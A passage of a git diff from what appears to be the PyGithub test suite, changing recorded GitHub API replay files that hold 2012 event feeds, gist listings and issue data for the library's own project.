Celler","email":"f.celler@triagens.de"},"url":"https://api.github.com/repos/triAGENS/ArangoDB/commits/2ed6ae66fee971f3618c77c5d79940d9f07db2ef","distinct":true,"message":"mruby client connection"},{"sha":"ecd011a36b1b91258d614a3a9a5cae28dcf26881","author":{"name":"Frank Celler","email":"f.celler@triagens.de"},"url":"https://api.github.com/repos/triAGENS/ArangoDB/commits/ecd011a36b1b91258d614a3a9a5cae28dcf26881","distinct":true,"message":"added valgrind sleep"}]},"public":true,"repo":{"url":"https://api.github.com/repos/triAGENS/ArangoDB","id":2649214,"name":"triAGENS/ArangoDB"},"org":{"gravatar_id":"76a220a4fa407ecfb795a8186c099c52","url":"https://api.github.com/orgs/triAGENS","avatar_url":"https://secure.gravatar.com/avatar/76a220a4fa407ecfb795a8186c099c52?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":391956,"login":"triAGENS"},"created_at":"2012-05-26T20:10:24Z","id":"1556178178","actor":{"gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":392005,"login":"fceller"}},{"type":"ForkEvent","payload":{"forkee":{"name":"websocket.io","size":168,"has_wiki":true,"created_at":"2012-05-26T20:10:22Z","clone_url":"https://github.com/florentx/websocket.io.git","public":true,"watchers":1,"private":false,"updated_at":"2012-05-26T20:10:22Z","fork":true,"git_url":"git://github.com/florentx/websocket.io.git","url":"https://api.github.com/repos/florentx/websocket.io","language":"JavaScript","ssh_url":"git@github.com:florentx/websocket.io.git","id":4457498,"svn_url":"https://github.com/florentx/websocket.io","pushed_at":"2012-05-01T02:14:09Z","mirror_url":null,"has_downloads":true,"open_issues":0,"full_name":"florentx/websocket.io","has_issues":false,"homepage":"","description":"","forks":0,"html_url":"https://github.com/florentx/websocket.io","owner":{"gravatar_id":"df4a6858794ecf84eae5afb37bf276ba","avatar_url":"https://secure.gravatar.com/avatar/df4a6858794ecf84eae5afb37bf276ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/florentx","id":142113,"login":"florentx"}}},"public":true,"repo":{"url":"https://api.github.com/repos/LearnBoost/websocket.io","id":2803817,"name":"LearnBoost/websocket.io"},"org":{"gravatar_id":"07100ee5e8dedd7c96195b2aa422dbb5","url":"https://api.github.com/orgs/LearnBoost","avatar_url":"https://secure.gravatar.com/avatar/07100ee5e8dedd7c96195b2aa422dbb5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":204174,"login":"LearnBoost"},"created_at":"2012-05-26T20:10:23Z","id":"1556178176","actor":{"gravatar_id":"df4a6858794ecf84eae5afb37bf276ba","url":"https://api.github.com/users/florentx","avatar_url":"https://secure.gravatar.com/avatar/df4a6858794ecf84eae5afb37bf276ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142113,"login":"florentx"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/capttaco/Briefs","id":250217,"name":"capttaco/Briefs"},"created_at":"2012-05-26T20:10:22Z","id":"1556178174","actor":{"gravatar_id":"ec3da2446aa2be99a27fb3d71dd0c4fa","url":"https://api.github.com/users/fdb","avatar_url":"https://secure.gravatar.com/avatar/ec3da2446aa2be99a27fb3d71dd0c4fa?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":8477,"login":"fdb"}},{"type":"PushEvent","payload":{"head":"4e3ba6b1909b06c4baef1e2017973de7ebce9474","size":3,"push_id":80706689,"ref":"refs/heads/master","commits":[{"sha":"21f8bacb3af04bac634ff61a26fc46751b995275","author":{"name":"Nils Maier","email":"maierman@web.de"},"url":"https://api.github.com/repos/downthemall/downthemall-mirror/commits/21f8bacb3af04bac634ff61a26fc46751b995275","distinct":true,"message":"mac: Distinguish hover states better for #action toolbarbuttons"},{"sha":"6118a94cd3a884b5a089b1214fefbbdda46b7dab","author":{"name":"Nils Maier","email":"maierman@web.de"},"url":"https://api.github.com/repos/downthemall/downthemall-mirror/commits/6118a94cd3a884b5a089b1214fefbbdda46b7dab","distinct":true,"message":"#2215: Only the manager must take care of rebooting"},{"sha":"4e3ba6b1909b06c4baef1e2017973de7ebce9474","author":{"name":"Nils Maier","email":"maierman@web.de"},"url":"https://api.github.com/repos/downthemall/downthemall-mirror/commits/4e3ba6b1909b06c4baef1e2017973de7ebce9474","distinct":true,"message":"SaveAs: Show the button as a toolbar button\n\nAlso put the saveas.css file where it belongs"}]},"public":true,"repo":{"url":"https://api.github.com/repos/downthemall/downthemall-mirror","id":1336743,"name":"downthemall/downthemall-mirror"},"org":{"gravatar_id":"dc5ae3f7381764005a57cdf0cd0a814b","url":"https://api.github.com/orgs/downthemall","avatar_url":"https://secure.gravatar.com/avatar/dc5ae3f7381764005a57cdf0cd0a814b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":1041247,"login":"downthemall"},"created_at":"2012-05-26T20:10:21Z","id":"1556178173","actor":{"gravatar_id":"4738af770d803e8c733510b794651bae","url":"https://api.github.com/users/nmaier","avatar_url":"https://secure.gravatar.com/avatar/4738af770d803e8c733510b794651bae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":383665,"login":"nmaier"}},{"type":"PushEvent","payload":{"head":"67b1545f946124bb19e5fde498680b939e150ed8","size":3,"push_id":80706688,"commits":[{"sha":"0229a16f35481308bf97ff995a3c76c88e2b7c7e","author":{"name":"Eric Mill","email":"konklone@gmail.com"},"url":"https://api.github.com/repos/sunlightlabs/scout/commits/0229a16f35481308bf97ff995a3c76c88e2b7c7e","distinct":true,"message":"Tried again on spacing"},{"sha":"de870bc1a8cd9ff4104d52be54999dded7323ce9","author":{"name":"Eric Mill","email":"konklone@gmail.com"},"url":"https://api.github.com/repos/sunlightlabs/scout/commits/de870bc1a8cd9ff4104d52be54999dded7323ce9","distinct":true,"message":"Made the search bar act like a filter on the search page, remember the current search, and keep the current subscription type"},{"sha":"67b1545f946124bb19e5fde498680b939e150ed8","author":{"name":"Eric Mill","email":"konklone@gmail.com"},"url":"https://api.github.com/repos/sunlightlabs/scout/commits/67b1545f946124bb19e5fde498680b939e150ed8","distinct":true,"message":"Simplified main search bar code, made it further act like a filter and preserve existing filters"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/sunlightlabs/scout","id":2148752,"name":"sunlightlabs/scout"},"org":{"gravatar_id":"83fc7b3fdb0a6d29e064ebb44f0efa8c","url":"https://api.github.com/orgs/sunlightlabs","avatar_url":"https://secure.gravatar.com/avatar/83fc7b3fdb0a6d29e064ebb44f0efa8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":40420,"login":"sunlightlabs"},"created_at":"2012-05-26T20:10:21Z","id":"1556178172","actor":{"gravatar_id":"2d61a1c4fc40720b60e99be64d883297","url":"https://api.github.com/users/konklone","avatar_url":"https://secure.gravatar.com/avatar/2d61a1c4fc40720b60e99be64d883297?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":4592,"login":"konklone"}},{"type":"PushEvent","payload":{"head":"f1ec182b989cc5ff1713ffd7d901f787c2d7ab05","size":1,"push_id":80706687,"commits":[{"sha":"f1ec182b989cc5ff1713ffd7d901f787c2d7ab05","author":{"name":"Francisco Albarran Cristobal","email":"pahko.xd@gmail.com"},"url":"https://api.github.com/repos/pahko/escape-lounge/commits/f1ec182b989cc5ff1713ffd7d901f787c2d7ab05","distinct":true,"message":"Update README.md"}],"ref":"refs/heads/patch-1"},"public":true,"repo":{"url":"https://api.github.com/repos/pahko/escape-lounge","id":4457492,"name":"pahko/escape-lounge"},"created_at":"2012-05-26T20:10:21Z","id":"1556178171","actor":{"gravatar_id":"ef8bbfccfd0dd146907f7a008fe57f43","url":"https://api.github.com/users/pahko","avatar_url":"https://secure.gravatar.com/avatar/ef8bbfccfd0dd146907f7a008fe57f43?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":572114,"login":"pahko"}},{"type":"PushEvent","payload":{"head":"5a2929c5912bbd6c1e305825fcbecc9ab28c85fa","size":1,"push_id":80706685,"commits":[{"sha":"5a2929c5912bbd6c1e305825fcbecc9ab28c85fa","author":{"name":"ericpyle","email":"eric.d.pyle@gmail.com"},"url":"https://api.github.com/repos/ericpyle/kayak/commits/5a2929c5912bbd6c1e305825fcbecc9ab28c85fa","distinct":true,"message":"use scripture range for now"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/ericpyle/kayak","id":3819394,"name":"ericpyle/kayak"},"created_at":"2012-05-26T20:10:20Z","id":"1556178167","actor":{"gravatar_id":"08214a539f6f189a4012616fd57a7ba7","url":"https://api.github.com/users/ericpyle","avatar_url":"https://secure.gravatar.com/avatar/08214a539f6f189a4012616fd57a7ba7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1125565,"login":"ericpyle"}}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetGists.txt b/tests/ReplayData/AuthenticatedUser.testGetGists.txt index 66a74a5506..fb58727520 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetGists.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetGists.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '2637'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"683e9f38128c378e0a30284b2e539a14"'), ('date', 'Sat, 26 May 2012 20:15:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-26T11:08:22Z","url":"https://api.github.com/gists/2793505","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2793505.git","git_push_url":"git@gist.github.com:2793505.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793505/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":null,"created_at":"2012-05-26T11:08:22Z","id":"2793505","html_url":"https://gist.github.com/2793505"},{"updated_at":"2012-05-26T10:09:33Z","url":"https://api.github.com/gists/2793179","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2793179.git","git_push_url":"git@gist.github.com:2793179.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793179/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-26T09:50:02Z","id":"2793179","html_url":"https://gist.github.com/2793179"},{"updated_at":"2012-04-26T13:20:53Z","url":"https://api.github.com/gists/11cb445f8197e17d303d","comments":0,"public":false,"git_pull_url":"git://gist.github.com/11cb445f8197e17d303d.git","git_push_url":"git@gist.github.com:11cb445f8197e17d303d.git","files":{"FairThreadPoolPool.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/11cb445f8197e17d303d/0f72c6fe50eb011eacb4e39fa613bdfe2f7a0c51/FairThreadPoolPool.cpp","size":7779,"filename":"FairThreadPoolPool.cpp","language":"C++"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"FairThreadPoolPool.cpp","created_at":"2012-04-26T13:20:53Z","id":"11cb445f8197e17d303d","html_url":"https://gist.github.com/11cb445f8197e17d303d"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetIssues.txt b/tests/ReplayData/AuthenticatedUser.testGetIssues.txt index fc243ab943..7c6604057c 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetIssues.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('content-length', '43238'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"079a70319db4b8e496afd6236e20f5bb"'), ('date', 'Sat, 26 May 2012 20:16:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442},"title":"Facilitate IDE autocompletion","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","number":27,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/27","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/27","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":4639931,"created_at":"2012-05-18T10:52:29Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"List project(s) using PyGithub","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","number":25,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/25","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/25","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":4452000,"created_at":"2012-05-07T10:49:06Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roskakori","login":"roskakori","id":328726},"title":"Improve error messages on broken requests","comments":2,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","number":24,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":4356743,"created_at":"2012-04-30T20:01:20Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Rework GitTree.recursive","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-19T19:08:18Z","body":"","number":20,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/20","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/20","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3716033,"created_at":"2012-03-19T19:08:18Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Rework Github.get_gists","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-19T19:04:19Z","body":"In general, when you get a collection, you should get an iterable, and the pagination should be done only if needed. This is mandatory for Github.get_gists","number":19,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/19","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/19","labels":[{"color":"e102d8","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities"}],"id":3715946,"created_at":"2012-03-19T19:04:19Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Take care of 